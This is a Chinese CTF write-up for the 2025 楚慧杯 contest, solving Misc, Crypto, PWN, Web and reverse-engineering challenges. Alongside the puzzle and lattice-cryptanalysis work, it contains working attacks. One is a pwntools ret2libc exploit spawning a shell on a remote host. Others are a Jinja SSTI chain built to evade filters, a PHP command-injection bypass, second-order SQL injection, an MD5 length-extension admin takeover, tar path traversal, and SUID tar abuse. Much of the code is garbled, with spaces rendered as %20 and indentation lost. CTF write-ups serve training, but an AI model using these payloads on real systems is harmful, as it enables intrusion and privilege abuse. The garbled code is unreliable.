文章总结: 本文是YunSee团队发布的2025楚慧杯CTF比赛Writeup,详细记录了Misc和Crypto两个方向的解题过程。Misc部分涵盖RPGMakerVXAce游戏文件解析提取flag、SAM文件哈希破解结合多重隐写术、图像中值合成与零宽字符隐写、Word文档简繁体编码隐写等技术。Crypto部分针对ECDSA签名nonce字节约束漏洞,通过格攻击恢复私钥。文章提供了完整的Python解题脚本,技术细节详实,可操作性强。 综合评分: 88 文章分类: CTF,逆向分析,密码学,数据安全,安全工具
切出来的图是正常 JPEG,图上能看到:
5. OpenSSL 解密
把 AES256 单独落盘之后直接解:
openssl enc -d -aes-256-cbc -in AES256 -out aes.dec -pass pass:p@s4w0rd
解出来 aes.dec 头是:
1f 8b 08
也就是 gzip。
继续:
gunzip -c aes.dec > out.tar
tar -xf out.tar
cat flag.txt
最后拿到:
DASCTF{aa28f51d-0f54-4286-af3c-86a14fbab4a4}
Time_and_chaos_1
把 1-8 png 做逐像素中值合成
from PIL import Image
import numpy as np, glob
files=sorted([f for f in glob.glob('[1-8].png')])
imgs=[np.array(Image.open(f),dtype=np.uint8) for f in files]
med=np.median(imgs,axis=0).astype(np.uint8)
Image.fromarray(med).save('median.png')
图片有一部分:
fig:
零宽
fig:
fig:
老妈的故事书
word:
fig:
pdf:
fig:
word%20的内容是简体繁体混合,会让人想到二进制
尝试写脚本
import%20io
import%20re
from%20pathlib%20import%20Path
from%20zipfile%20import%20ZipFile
import%20msoffcrypto
import%20zhconv
from%20xml.etree%20import%20ElementTree%20as%20ET
WORD_NS%20= "http://schemas.openxmlformats.org/wordprocessingml/2006/main"
TEXT_TAG%20=%20f"{{{WORD_NS}}}t"
def%20unlock_office_file(target_file:%20str,%20secret:%20str)%20->%20bytes:
source_path%20=%20Path(target_file)
memory_file%20=%20io.BytesIO()
with%20source_path.open("rb")%20as%20handle:
encrypted_doc%20=%20msoffcrypto.OfficeFile(handle)
encrypted_doc.load_key(password=secret,%20verify_password=True)
encrypted_doc.decrypt(memory_file)
return memory_file.getvalue()
def%20collect_document_text(raw_docx:%20bytes)%20->%20str:
with%20ZipFile(io.BytesIO(raw_docx), "r")%20as%20archive:
xml_blob%20=%20archive.read("word/document.xml")
root%20=%20ET.fromstring(xml_blob)
segments%20=%20[]
for node in root.iter():
if node.tag%20==%20TEXT_TAG%20and%20node.text:
segments.append(node.text)
return"".join(segments)
def%20classify_script_form(symbol:%20str):
simplified_form%20=%20zhconv.convert(symbol, "zh-hans")
traditional_form%20=%20zhconv.convert(symbol, "zh-hant")
if len(simplified_form)%20!=%201%20or%20len(traditional_form)%20!=%201:
return None
if simplified_form%20==%20traditional_form:
return None
if symbol%20==%20simplified_form:
return 0
if symbol%20==%20traditional_form:
return 1
return None
def%20recover_hidden_payload(article:%20str)%20->%20bytes:
marker_stream%20=%20[]
for char in article:
flag%20=%20classify_script_form(char)
if flag%20is%20not%20None:
marker_stream.append(flag)
chunk_values%20=%20[]
zeros_seen%20=%200
for bit in marker_stream:
if bit%20==%200:
zeros_seen%20+=%201
continue
chunk_values.append(zeros_seen)
zeros_seen%20=%200
four_bit_units%20=%20[]
for number in chunk_values:
four_bit_units.append(format(number, "04b"))
merged_binary%20= "".join(four_bit_units)
usable_length%20=%20len(merged_binary)%20//%208%20*%208
output%20=%20bytearray()
for offset in range(0,%20usable_length,%208):
output.append(int(merged_binary[offset:offset%20+%208],%202))
return bytes(output)
def%20locate_flag(content:%20bytes)%20->%20str:
hit%20=%20re.search(rb"DASCTF{[0-9a-f-]+}",%20content)
if not%20hit:
raise%20ValueError("flag%20pattern%20not%20found")
return hit.group(0).decode("utf-8")
def%20main():
document_password%20= "love"
encrypted_name%20= "flag.docx"
unlocked%20=%20unlock_office_file(encrypted_name,%20document_password)
body_text%20=%20collect_document_text(unlocked)
extracted%20=%20recover_hidden_payload(body_text)
answer%20=%20locate_flag(extracted)
print(answer)
if __name__%20== "__main__":
main()
输出:
DASCTF{024bb015-5578-4181-9d28-e2f7d10bac4a}
Crypto
Flip
源码里签名关系是%20s%20=%20k^{-1}(i%20+%20r*d)%20mod%20p%20,而且%20flip(256)%20会把%20nonce%20的每个字节都生成为%2010101xyz,也就是每个字节都能写成%200xa8%20+%20x_t,其中%20x_t%20∈%20[0,7]。同时,真正的%20flag%20内容是去掉%20DASCTF{}%20后再补随机字节到%2032%20字节。
128b2c65-ad4a-43a3-a80b-ef9f593…
题目还给了同一私钥下的%205%20组%20(r,s)%20和素数%20p。
bd14ad0a-2ba7-46a3-b4eb-09d7e8e…
核心做法是把两组签名联立,消掉%20d:
再把
ki=K+∑b=031xi,b28b,xi,b∈[0,7]k_i%20=%20K%20+%20sum_{b=0}^{31}%20x_{i,b}%202^{8b},quad%20x_{i,b}in[0,7]ki=K+b=0∑31xi,b28b,xi,b∈[0,7]
代进去。这样就得到一个 64%20个小变量的模线性方程。这是典型的%20EHNP%20/%20bounded%20modular%20equation,可以直接上格:
- 变量:两组%20nonce%20的%2064%20个字节增量%20x_{i,b}
- 范围:每个都在%20[0,7]
- 方程:最后一维固定为右端常数
- 方法:LLL%20+%20BKZ%20+%20Babai%20nearest%20plane
第%200、1%20组签名恢复出了:
- k[0]%20=%200xada9abacaaa8aaafa8aba9aeafacaca8a9a9aea9aeaea9a9ababadacacaeabad
- k[1]%20=%200xadafa8a9a8aaadabafaeafa8ada8aba9afaaaaacaaaea9aeaaacadaca8a9ada9
随后算得
d%20mod%20p=33678668739971188788372746271080037908238910891972216073014011690840772615888d%20bmod%20p%20=%2033678668739971188788372746271080037908238910891972216073014011690840772615888dmodp=33678668739971188788372746271080037908238910891972216073014011690840772615888
把它转成%2032%20字节后得到:
b'Just_f3w_Bit5_fl1pp1ngxa6x0cxa1O2{x16xx9exd0'
因为源码明确说明后半段是随机%20padding,所以可读前缀就是%20flag%20内层内容,最终得到:
Just_f3w_Bit5_fl1pp1ng
脚本依赖%20fpylll%20和%20cysignals:
from%20fractions%20import%20Fraction
from%20fpylll%20import%20IntegerMatrix,%20LLL,%20BKZ
from%20fpylll.algorithms.bkz%20import%20BKZReduction
p%20=%2071100374110712069688668891376502810245640088780564855438789152163485489371751
sigs%20=%20[
(28285613871231310640779639473901158789539111552315215487796222768188014946190,%2026227626146853365468070394748025813676883717455365705026242089396817666141149),
(26126343100952318312992351606027346470307966676167073519850533997742307763173,%2014620119507969980035515863104967829444815591632534197769232561325577348982289),
(6275780641102104914321094704687354889900656957520025439748906503860424049255,%2017138154832682193571532283943639841813795519294633367500729430287205754722383),
(70074830218018060401156682458161679247596227822712273801560023880579237944207,%207241759400261146571231207923652617524886465143836459562831120970876560955603),
(58010164614616186321967235608825740148005793483553468415042960153988671899689,%2011042506367122208018546854524444698969622593890076172637272391555458027253012),
]
K%20=%20sum(0xA8%20<<%20(8%20*%20b) for b in range(32))
def%20center(x:%20int,%20mod:%20int)%20->%20int:
x%20%=%20mod
return x%20-%20mod if x%20>%20mod%20//%202 else x
def%20byte_pattern_ok(k:%20int)%20->%20bool:
bs%20=%20k.to_bytes(32, "big")
return all((b%20&%200xF8)%20==%200xA8 for b in bs)
def%20babai_closest_vector(basis_rows:%20list[list[int]],%20target:%20list[int])%20->%20list[int]:
dim%20=%20len(basis_rows)
rows%20=%20[[Fraction(x) for x in row] for row in basis_rows]
bstar:%20list[list[Fraction]]%20=%20[]
for i in range(dim):
cur%20=%20rows[i][:]
for j in range(i):
dot%20=%20sum(rows[i][k]%20*%20bstar[j][k] for k in range(dim))
norm%20=%20sum(bstar[j][k]%20*%20bstar[j][k] for k in range(dim))
mu%20=%20dot%20/%20norm
for k in range(dim):
cur[k]%20-=%20mu%20*%20bstar[j][k]
bstar.append(cur)
t%20=%20[Fraction(x) for x in target]
coeff%20=%20[0]%20*%20dim
for i in reversed(range(dim)):
dot%20=%20sum(t[k]%20*%20bstar[i][k] for k in range(dim))
norm%20=%20sum(bstar[i][k]%20*%20bstar[i][k] for k in range(dim))
c%20=%20round(dot%20/%20norm)
coeff[i]%20=%20c
for k in range(dim):
t[k]%20-=%20c%20*%20rows[i][k]
out%20=%20[0]%20*%20dim
for i in range(dim):
for k in range(dim):
out[k]%20+=%20coeff[i]%20*%20int(rows[i][k])
return out
def%20recover_from_pair(i:%20int,%20j:%20int,%20weight:%20int)%20->%20tuple[int,%20int,%20int]%20|%20None:
r1,%20s1%20=%20sigs[i]
r2,%20s2%20=%20sigs[j]
#%20r_j*s_i*k_i%20-%20r_i*s_j*k_j%20=%20i*r_j%20-%20j*r_i%20(mod%20p)
coeffs%20=%20[center(r2%20*%20s1%20*%20(1%20<<%20(8%20*%20b)),%20p) for b in range(32)]
coeffs%20+=%20[center(-r1%20*%20s2%20*%20(1%20<<%20(8%20*%20b)),%20p) for b in range(32)]
rhs%20=%20center(i%20*%20r2%20-%20j%20*%20r1%20-%20K%20*%20(r2%20*%20s1%20-%20r1%20*%20s2),%20p)
n%20=%20len(coeffs)
mat%20=%20[[0]%20*%20(n%20+%201) for _ in range(n%20+%201)]
for t in range(n):
mat[t][t]%20=%201
mat[t][n]%20=%20coeffs[t]
mat[n][n]%20=%20p
lower%20=%20[0]%20*%20n%20+%20[rhs]
upper%20=%20[7]%20*%20n%20+%20[rhs]
width%20=%20max(u%20-%20l for l,%20u in zip(lower,%20upper))
scales%20=%20[]
scaled%20=%20[row[:] for row in mat]
scaled_lower%20=%20lower[:]
scaled_upper%20=%20upper[:]
for col in range(n%20+%201):
scale%20=%20weight if lower[col]%20==%20upper[col] else max(1,%20width%20//%20(upper[col]%20-%20lower[col]))
scales.append(scale)
for row in range(n%20+%201):
scaled[row][col]%20*=%20scale
scaled_lower[col]%20*=%20scale
scaled_upper[col]%20*=%20scale
A%20=%20IntegerMatrix.from_matrix(scaled)
LLL.reduction(A)
BKZReduction(A)(BKZ.Param(block_size=20,%20max_loops=4))
reduced%20=%20[[A[r,%20c] for c in range(n%20+%201)] for r in range(n%20+%201)]
target%20=%20[(l%20+%20u)%20//%202 for l,%20u in zip(scaled_lower,%20scaled_upper)]
closest%20=%20babai_closest_vector(reduced,%20target)
coords%20=%20[closest[t]%20//%20scales[t] for t in range(n)]
if not%20all(0%20<=%20x%20<=%207 for x in coords):
return None
k1%20=%20K%20+%20sum(coords[b]%20<<%20(8%20*%20b) for b in range(32))
k2%20=%20K%20+%20sum(coords[32%20+%20b]%20<<%20(8%20*%20b) for b in range(32))
if pow(2,%20k1,%20p)%20!=%20r1%20or%20pow(2,%20k2,%20p)%20!=%20r2:
return None
d%20=%20((s1%20*%20k1%20-%20i)%20*%20pow(r1,%20-1,%20p))%20%%20p
d2%20=%20((s2%20*%20k2%20-%20j)%20*%20pow(r2,%20-1,%20p))%20%%20p
if d%20!=%20d2:
return None
return k1,%20k2,%20d
def%20recover()%20->%20tuple[int,%20list[int]]:
for i in range(len(sigs)):
for j in range(i%20+%201,%20len(sigs)):
for weight in (8,%2016,%2032,%2064,%20128,%20256):
out%20=%20recover_from_pair(i,%20j,%20weight)
if out%20is%20None:
continue
_,%20_,%20d%20=%20out
nonces%20=%20[]
for msg,%20(r,%20s) in enumerate(sigs):
k_mod%20=%20(msg%20+%20r%20*%20d)%20*%20pow(s,%20-1,%20p)%20%%20p
cand%20=%20[k_mod,%20k_mod%20+%20p]
good%20=%20[x for x in cand if x%20<%20(1%20<<%20256)%20and%20byte_pattern_ok(x)]
if len(good)%20!=%201:
break
nonces.append(good[0])
else:
return d,%20nonces
raise%20RuntimeError("recovery%20failed")
def%20main()%20->%20None:
d,%20nonces%20=%20recover()
print(f"d%20mod%20p%20=%20{d}")
for idx,%20k in enumerate(nonces):
print(f"k[{idx}]%20=%20{hex(k)}")
block%20=%20d.to_bytes(32, "big")
print(f"padded%20bytes%20=%20{block!r}")
inner%20=%20[]
for b in block:
if 32%20<=%20b%20<%20127:
inner.append(chr(b))
else:
break
print("flag%20=%20DASCTF{" + "".join(inner)%20+ "}")
if __name__%20== "__main__":
main()
GCD,杠上了
设:
其中:
- p%20是所有样本共享的未知大因子
- q_i%20是不同的大整数
- e_i%20是较小误差,位数约为%20rho%20=%20256
这就是%20AGCD%20问题。
对于这种参数规模,可以直接套用 Howgrave-Graham%20/%20DGHV%20类型的格攻击思路。 构造格基:
然后对矩阵做 LLL%20reduction。 约化后最短向量通常会给出一个形如:
因此可以从第一列恢复出%20q0:
得到%20q0%20后,再由:
进一步恢复:
最后按题目要求计算:
"DASCTF{"+sha256(hex(p).encode()).hexdigest()[:32]+"}"
恢复结果
通过格攻击恢复得到:
p%20=%20814717455548517808986181410586394354109647699929322981368461837445925965322205350796397641559934522652724773905724982591757228274565439544175507827688617021282332056672069056063857212371078735053697735921587690134019252689216497709
代入题目给定公式,得到:
FLAG%20=%20DASCTF{eead8ea2b3519a2273a5292375e31009}
用到的工具
这题工具很少,主要就是下面两个:
1.%20Python
用来读入题目给出的%20xs、恢复%20p、计算%20flag。
2.%20fpylll
- SageMath%20自带的%20Matrix(…).LLL()
- 或者其他支持%20LLL%20的数学库
3.%20hashlib
Python%20内置库,用来按题目要求计算%20sha256(hex(p).encode())。
复现脚本
from%20fpylll%20import%20IntegerMatrix,%20LLL
from%20hashlib%20import%20sha256
xs%20=%20[
5230952259217719373451288600605694729007492237169927997823214951918450708970497355235418799314073627589124050832789070592194142892137496197782948844507440729494129127326826986001351848921996887252514377638280576136864865587600778883326741625167048874313825133026683820914940523608112111525189712638841735445342804486682657815023936771511350194415118747576763915047759919721983363867337811246200882629774305946208917774071048260034384488337583881876926649372038650806406479863141932268756290007122767070707541568217633666823942767630,
6634396750920568285608095346195329118689097605994669634518316951192506731923068736273476052320642960726963932454848348066913054010051606781532862880707753022193473836326795829631429615685808176184842533562632931011621810840291571855376807721443083529317792844472049240727433533493468591987710033174905312247446273166915934371589745530975428330655972863314230695429710915699801228301493075605786710443768747383021956670013493099376120239576125225920151034511467122583704756994064073049424978126007943448882667862038745782477628408003,
5206967518961960112660221968771713864784691153181370679825018817838185859421615186098940654940704354246503769468859488659689494119991783464734247926184421441233523723102514720513272413216800777125028472595562428391474002300021110853098159434700293331046532929525141162455736314162160456306022511785772125837018470201639642987557826155895644564724745314165471429499074795110110906392223770428469036209454246746770408469494816865235942622698472278595153047673886819995225231883995391098290313071949911543891398398297286813045525879691,
]
rho%20=%20256
A%20=%202%20**%20(rho%20+%201)
n%20=%20len(xs)
M%20=%20IntegerMatrix(n,%20n)
M[0,%200]%20=%20A
for j in range(1,%20n):
M[0,%20j]%20=%20xs[j]
for i in range(1,%20n):
M[i,%20i]%20=%20-xs[0]
L%20=%20LLL.reduction(M)
row%20=%20[int(L[0,%20j]) for j in range(n)]
q0%20=%20abs(row[0])%20//%20A
e0%20=%20xs[0]%20%%20q0
if e0%20>%20q0%20//%202:
e0%20-=%20q0
p%20=%20(xs[0]%20-%20e0)%20//%20q0
flag%20= "DASCTF{" +%20sha256(hex(p).encode()).hexdigest()[:32]%20+ "}"
print("p%20=",%20p)
print("FLAG%20=",%20flag)
#%20PWN
##%20house_1
存在格式化字符串漏洞,先泄露libc,canary和pie,然后格式化字符串修改nbytes使case3能够溢出,ret2libc即可



from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.binary = elf = ELF('./pwn')
libc = elf.libc
addr = '45.40.247.139:24716'.split(':')
io = remote(addr[0], int(addr[1]))
# io = process(elf.path)
def dbg(sc):
gdb.attach(io, gdbscript=sc)
def cmd(c: int):
io.recvuntil(b'>> ')
io.sendline(str(c).encode())
cmd(2)
io.recvuntil(b'Please write your name:')
# dbg('brva 0x13B3nbrva 0x131F')
io.sendline(b'<_%p_%13$p_%10$p_>')
io.recvuntil(b'<_')
leak = int(io.recvuntil(b'_', drop=True), 16)
libc.address = leak - 0x1ed723
success(f'libc: {hex(libc.address)}')
rdi = 0x23b6a + libc.address
binsh = next(libc.search(b'/bin/shx00'))
system = libc.sym['system']
canary = int(io.recvuntil(b'_', drop=True), 16)
success(f'rdi: {hex(rdi)}')
success(f'binsh: {hex(binsh)}')
success(f'system: {hex(system)}')
success(f'canary: {hex(canary)}')
pie = int(io.recvuntil(b'_>', drop=True), 16) - 0x1140
success(f'pie: {hex(pie)}')
cmd(2)
io.recvuntil(b'Please write your name:')
payload = b'%256c%8$n'
payload = payload.ljust(0x10, b'\x00')
payload += p64(pie + 0x4010)
io.sendline(payload)
cmd(3)
io.recvuntil(b'Please write your content')
payload = b'a'*0x48 + p64(canary) + b'a'*8 + p64(rdi) + p64(binsh) + p64(rdi+1) + p64(system)
io.sendline(payload)
io.interactive()
Web
拯救芙莉莲
扫后台,有 robots.txt
User-agent: *
Disallow: /<(´⌯ ̫⌯`)>.php
根据页面回显,应该是文件包含,那么扫参数
fig:
有个 file,那就尝试直接读源码
?file=php://filter/convert.base64-encode/resource=<(´⌯ ̫⌯`)>.php
<?php
if (isset($_GET['spell'])) {
echo'<div class="error-box">';
echo'<h2>🔮 解开宝箱怪的封印</h2>';
echo'<pre>';
echo"芙芙: "这个宝箱怪有一个古老的封印,需要正确的魔法咒语才能解开..."n";
echo"芙芙: "我记得封印的关键在根目录的某个文件里..."n";
echo"芙芙: "但是宝箱怪的魔法屏障会拒绝某些危险的咒语!"n";
echo"芙芙: "也许你可以用 Linux 命令来读取那个文件?"n";
$spell = $_GET['spell'];
echo"你的咒语: " . htmlspecialchars($spell) . "\n";
$forbidden = array('system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open');
foreach ($forbidden as $bad) {
if (stripos($spell, $bad) !== false) {
die("⚠️ 检测到禁忌的黑魔法!n芙芙: "宝箱怪拒绝了这个咒语..."n</pre></div></body></html>");
}
}
if (stripos($spell, 'flag') !== false) {
die("⚠️ 宝箱怪的魔法屏障启动了!它不允许直接念出 'flag' 这个词!\n</pre></div></body></html>");
}
$blocked_commands = array('cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'sort', 'uniq', 'strings', 'od', 'xxd', 'hexdump', 'grep', 'awk', 'sed', 'cut', 'rev', 'base64', 'env');
foreach ($blocked_commands as $cmd) {
if (stripos($spell, $cmd) !== false) {
die("⚠️ 宝箱怪识破了你的咒语!命令 '$cmd' 已被封印!\n芙芙: \"这些常用的命令都被屏蔽了...得想想其他办法...\"\n</pre></div></body></html>");
}
}
echo"施法中...\n";
echo"━━━━━━━━━━━━━━━━━━━━\n";
$result = shell_exec($spell);
if ($result) {
echo"✨ 封印解除了!宝箱怪消失了!nn";
echo"【施法结果】:n";
echo$result;
echo"\n━━━━━━━━━━━━━━━━━━━━\n";
echo"芙芙: \"太棒了!你成功救出了我!这是我珍藏的神秘卷轴,看看里面有什么~\"\n";
} else {
echo"❌ 咒语似乎没有效果...\n";
echo"芙芙: \"也许需要调整一下咒语的内容?\"\n";
}
echo'</pre>';
echo'</div>';
}
?>
有 spell 参数可以命令执行
直接尝试:pr -T /f*
fig:
cybers
主页是个 CyberMarket,接口全在前端 JS 里:
- /initialize
- /hack
- /loot
- /market
- /list
- /read
- /relay
先试了一圈以后发现:
- /list 能列当前工作目录
- /read 能直接读文件
- /relay 能往 127.0.0.1 任意端口发原始 TCP 数据
先把前端和后端源码读出来
/read?file=./app.py 读出来的是 8080 上跑的代理服务,关键逻辑是:
@app.route('/relay', methods=["POST"])
def relay():
target_port = int(request.form['port'])
payload = request.form['data']
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', target_port))
sock.send(payload.encode())
直接打内网 127.0.0.1。
再列目录:
./
templates
backend
app.py
继续读 ./backend/app.py,这才是关键。后端的 /market 是:
@app.route('/market', methods=["POST"])
def trade_fragment():
fragment_id = request.form.get("fragment")
...
credits = np.array(credits)
transaction_cost = calculate_risk_factor() * 3500
credits -= transaction_cost
try:
if credits < 0:
result = "Insufficient credits for this transaction."
else:
session['credits'] = 0
fragment_id = security_filter(fragment_id)
result = "Transaction blocked by security protocol."
if fragment_id not in data_fragments:
result = f"Fragment '{fragment_id}' not found in market database."
else:
result = f"Transaction complete! Acquired data fragment: {fragment_id}"
except Exception as e:
result = str(e)
return render_template_string(f"<h3>{result}</h3>")
关注 render_template_string
附件那份源码是干扰,主要看环境的backend
genshop 附件里的 app.py 和远端 ./backend/app.py 不是同一份。
先解决 backend 余额不够的问题
直接打 backend 的 /market 需要很多 credits,但后端有两个点可以一起用:
- /hack?amount=99 一次最多加 99
- /initialize 会 limiter.reset()
更关键的是 session 放在 cookie 里,所以可以这么叠:
- 用 backend cookie c1 打 /hack?amount=99
- 服务端回一个新 cookie c2,里面 credits 增加
- 用 c2 打 /initialize,只为了重置限频
- 继续回放 c2 去打 /hack
这样可以一直叠到很高的余额。
我最后做了一张高余额 cookie:
credits = 19998
后面所有 backend /market 探测都直接回放这张旧 cookie,不用每成功一次就重攒。
backend /market 真的是 SSTI
拿高余额 cookie 去打 backend /market,先用简单 payload 试了一下:
{%if 1%}X{%endif%}
返回:
<h3>Fragment 'X' not found in market database.</h3>
说明 Jinja 语法确实执行了,而且可以把结果塞进响应里。
后面又打了几个探针:
{%print(cycler)%}
{%print(joiner)%}
{%print(namespace)%}
{%print(lipsum)%}
确认这些 Jinja 全局对象都能拿到。
过滤器表面很凶,实际可以绕
security_filter 会拦这些:
- {{ }}
- __
- . [ ]
- 引号
- import os request system 等等
但它没拦:
- {% … %} 语句块
- |attr
- |string
- |batch
- |first
- |last
- ~ 拼接
所以办法就是:
- 先打印几个对象的 repr
- 从 repr 里一位一位抠字符
- 拼出 __globals__、get、os、popen、read
- 最后变成一条命令执行链
核心链子是:
lipsum|attr(__globals__)|attr(get)(os)|attr(popen)(cmd)|attr(read)()
只是这些属性名不能直接写,要靠字符拼接出来。
先拿命令执行
我先用最短的 id 验证:
uid=999(app) gid=999(app) groups=999(app)
说明 backend 里已经是稳的命令执行了。
再找 flag 和提权点
直接:
find / -name flag
拿到了:
/flag
但直接 cat /flag 没内容。
再看权限:
ls -l /flag
输出:
-rw------- 1 root root 41 Mar 10 01:50 /flag
当前用户是 app,读不了。
继续扫 SUID:
find / -perm -4000
里面有个很关键的:
/usr/bin/tar
用 SUID tar 绕过 /flag 权限
思路没走 root shell,直接让 tar 代 root 读文件:
- tar -cf d /flag 把 /flag 打成当前目录下的归档 d
- tar -tf d 确认成员名就是 flag
- tar -xf d flag –to-stdout 把归档里的 flag 直接吐到 stdout
因为 d 是当前目录下新建的普通文件,后续普通用户也能读这个归档。
最后成功回显 flag。
最终执行 /flag 的核心 payload 是这一条:
{%set q=lipsum|string|batch(19)|first|last%}
{%set u=lipsum|string|batch(3)|first|last%}
{%set f=lipsum|string|batch(2)|first|last%}
{%set g=lipsum|string|batch(11)|first|last%}
{%set l=lipsum|string|batch(20)|first|last%}
{%set o=lipsum|string|batch(21)|first|last%}
{%set a=lipsum|string|batch(16)|first|last%}
{%set s=lipsum|string|batch(28)|first|last%}
{%set e=lipsum|string|batch(12)|first|last%}
{%set t=lipsum|string|batch(17)|first|last%}
{%set p=lipsum|string|batch(27)|first|last%}
{%set n=lipsum|string|batch(13)|first|last%}
{%set r=lipsum|string|batch(15)|first|last%}
{%set d=dict|string|batch(9)|first|last%}
{%set i=lipsum|string|batch(7)|first|last%}
{%set b=cycler(1)|string|batch(23)|first|last%}
{%set c=dict|string|batch(11)|first|last%}
{%set x=cycler(1)|string|batch(33)|first|last%}
{%set sp=cycler(1)|string|batch(21)|first|last%}
{%set G=q~q~g~l~o~b~a~l~s~q~q%}
{%set T=g~e~t%}
{%set P=p~o~p~e~n%}
{%set R=r~e~a~d%}
{%set O=o~s%}
{%set Q=f~i~n~d~sp~q~q%}
{%set Y=((lipsum|attr(G)|attr(T)(O))|attr(P)(Q)|attr(R)())%}
{%set sl=Y|batch(6)|first|last%}
{%set C=t~a~r~sp~h~x~f~sp~d~sp~f~l~a~g~sp~h~h~t~o~h~s~t~d~o~u~t%}
{%print((lipsum|attr(G)|attr(T)(O))|attr(P)(C)|attr(R)())%}
对应执行的真实命令就是:
tar -xf d flag --to-stdout
DASCTF{64694086951161204679100441649958}
Fisafopil
审计代码,发现有 sql 注入
存在 sql 注入
cursor.execute(f"SELECT password FROM users WHERE username = '{username}'")
注册逻辑
username = binascii.a2b_hex(data.get("username")).decode("utf-8")
cursor.execute("SELECT * FROM users WHERE username=?", (username,))
管理员校验逻辑
if username != "admin":
raise HTTPException(status_code=403, detail="Not authorized")
edit-profile 逻辑
cursor.executescript(
f"""
...
WHERE username = '{username}'
"""
)
可以注册一个恶意用户名
登录后访问 edit-profile,就能触发二次 SQL 注入
注册(密码 pass123 ):
user'; ATTACH DATABASE './databases/customers.sqlite' AS c;
INSERT INTO c.customers(company_name, satisfaction_rating)
VALUES('ZZZFLAGMARK2', 9);
--
回显:
register 200 {"message":"注册成功"}
edit 422 {"detail":[{"type":"missing","loc":["query","employee_number"], ...}]}
说明 edit-profile 的参数不是从 POST body 取,而是从 query 取
更新资料:
POST /edit-profile?employee_number=1&[email protected]&phone_number=1&first_name=a&last_name=b&date_of_birth=2000-01-01&address=x
回显:
register 200 {"message":"注册成功"}
edit 200 {"message":"个人信息更新成功"}
customers 200 [..., [21, 'ZZZFLAGMARK2', 9]]
源码中 admin 和普通用户密码都按这个方式存储:enc_password = DataEncrypt().encrypt(SALT.encode() + password)
经过对比可确认 DataEncrypt 实际就是标准 MD5
SALT 长度源码里固定为:SALT = “”.join(random.choices(string.ascii_letters + string.digits, k=16))
SALT 长度已知为 16,满足 MD5 长度扩展条件。只要能泄露一个“自己已知明文密码对应的哈希”,就能构造新的有效密码字节串和新哈希
泄露个人哈希:
ATTACH DATABASE './databases/customers.sqlite' AS c;
INSERT INTO c.customers(company_name, satisfaction_rating)
SELECT password, 6 FROM users WHERE id = (SELECT max(id) FROM users);
回显:
register 200 {"message":"注册成功"}
leak_hash 200 {"message":"个人信息更新成功"}
hash_row [24, '3af2644aea46b2721f8ddc3d1969e614', 6]
构造新 admin 密码哈希,加后缀 ::admin::
长度拓展后:
forged_hash c019a219325260d470a64a4ed460a1e0
forged_password_hex 70617373313233800000000000000000000000000000000000000000000000000000000000000000b8000000000000003a3a61646d696e3a3a
二次注入改 admin 为伪造哈希:
UPDATE users SET password = 'c019a219325260d470a64a4ed460a1e0' WHERE username = 'admin';
/admin/restore 调用了 tarfile.extractall,存在 tar 路径穿越
此处覆盖模板文件,利用 Jinja SSTI 读 flag
上传 tar,成员是 ../templates/register.html
内容:{{ cycler.init.globals.os.popen(‘cat /flag /flag.txt /app/flag /app/flag.txt 2>/dev/null’).read() }}
回显:
template_restore_status 200 {"status":"恢复成功"}
template_path /register status 200
DASCTF{50240278997754487930797985085708}
Re
眼见为虚_1
程序是 32 位 PE,MinGW C++ 编出来的控制台程序。直接跑会提示:
Please input the flag and I will verify it:
输错就是 Wrong flag,输对就是 Right flag。
先看字符串,能直接看到提示和结果,没有看到明文 flag,也没看到特别像壳的东西。
主逻辑在 401522,流程很短:
- 构造一个栈上的对象
- 打印 Please input the flag and I will verify it:
- 读入输入
- 调两个虚函数处理输入
- 调 402b68 做最终比较
402b68 这一段最关键,里面塞了一串 0x28 字节的常量,然后逐字节和对象里的缓冲区比:
402b71: c7 45 d2 33 56 e8 01 402b78: c7 45 d6 6f 84 e4 a3 … 402bee: 83 7d fc 27 cmp DWORD PTR [ebp-0x4],0x27
也就是说真实目标就是把输入经过前面的变换以后,变成这 40 字节。
虚函数这块
一开始我先盯到了 402c64 和 402d4c,因为这两个函数一个像 TEA,一个像逐字节 +0x16,看起来很像正路。但顺着 4014f0 往下看以后发现这里走的是虚表,不是直接调这两个函数。
对象构造完以后,派生类 vtable 在 40436c,前两个虚函数实际是:
- 402a18
- 402afc
这两个才是校验链路上真正会跑到的函数。
402a18
这个函数拿对象里的两段常量做 32 轮运算:
- 初值:0x18274a3a, 0x24f8d42f
- key:0x9c8793bf, 0xbb5c1044, 0x2fea4f74, 0xa142ed8b
- delta:0xdeadbeef
结构上就是 TEA 魔改,跑完以后把结果写回对象的 +8 和 +c,也就是得到 8 字节状态。
402afc
这个函数按 40 个字节循环处理输入:
buf[i] ^= state[i % 8] + 0x1b;
处理完再去 402b68 和那 40 字节常量比较。
所以反推就很直接了:
input[i] = const[i] ^ ((state[i % 8] + 0x1b) & 0xff)
把 402a18 的 32 轮运算用脚本照着抄一遍,拿到 8 字节状态,再和 402b68 的 40 字节常量按字节异或回去。
关键脚本:
import struct
def u32(x):
return x & 0xffffffff
v0 = 0x18274a3a
v1 = 0x24f8d42f
k = [0x9c8793bf, 0xbb5c1044, 0x2fea4f74, 0xa142ed8b]
sumv = 0
for _ in range(32):
v0 = u32(v0 + (((v1 << 4) + k[0]) ^ (v1 + sumv) ^ ((v1 >> 5) + k[1])))
sumv = u32(sumv + 0xdeadbeef)
v1 = u32(v1 - (((v0 << 4) + k[2]) ^ (v0 + sumv) ^ ((v0 >> 5) + k[3])))
state = struct.pack("<II", v0, v1)
const = bytes.fromhex(
"33 56 e8 01 6f 84 e4 a3 43 73 8e 26 5e f0 fd a1 "
"15 75 88 20 08 a4 a6 a5 15 75 88 23 5d f0 fa f0 "
"41 71 de 75 09 a1 f9 e8"
)
flag = bytes(c ^ ((state[i % 8] + 0x1b) & 0xff) for i, c in enumerate(const))
print(flag.decode())
脚本输出:
DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}
eazy_code-new
前面那坨符号变量看着很烦,先切一小段出来单独执行,能把基础变量还原出来:
${-``}=iex
${$%}=[CHar]
${]}=0
${!;*}=1
${*@ }=2
${=$``}=3
${ ]}=4
${!}=5
${#.}=6
${(}=7
${)``}=8
${``*%}=9
到这里基本就明白了,外层没什么花活,就是拿 [char]xx 一点点拼字符串,最后再 iex。
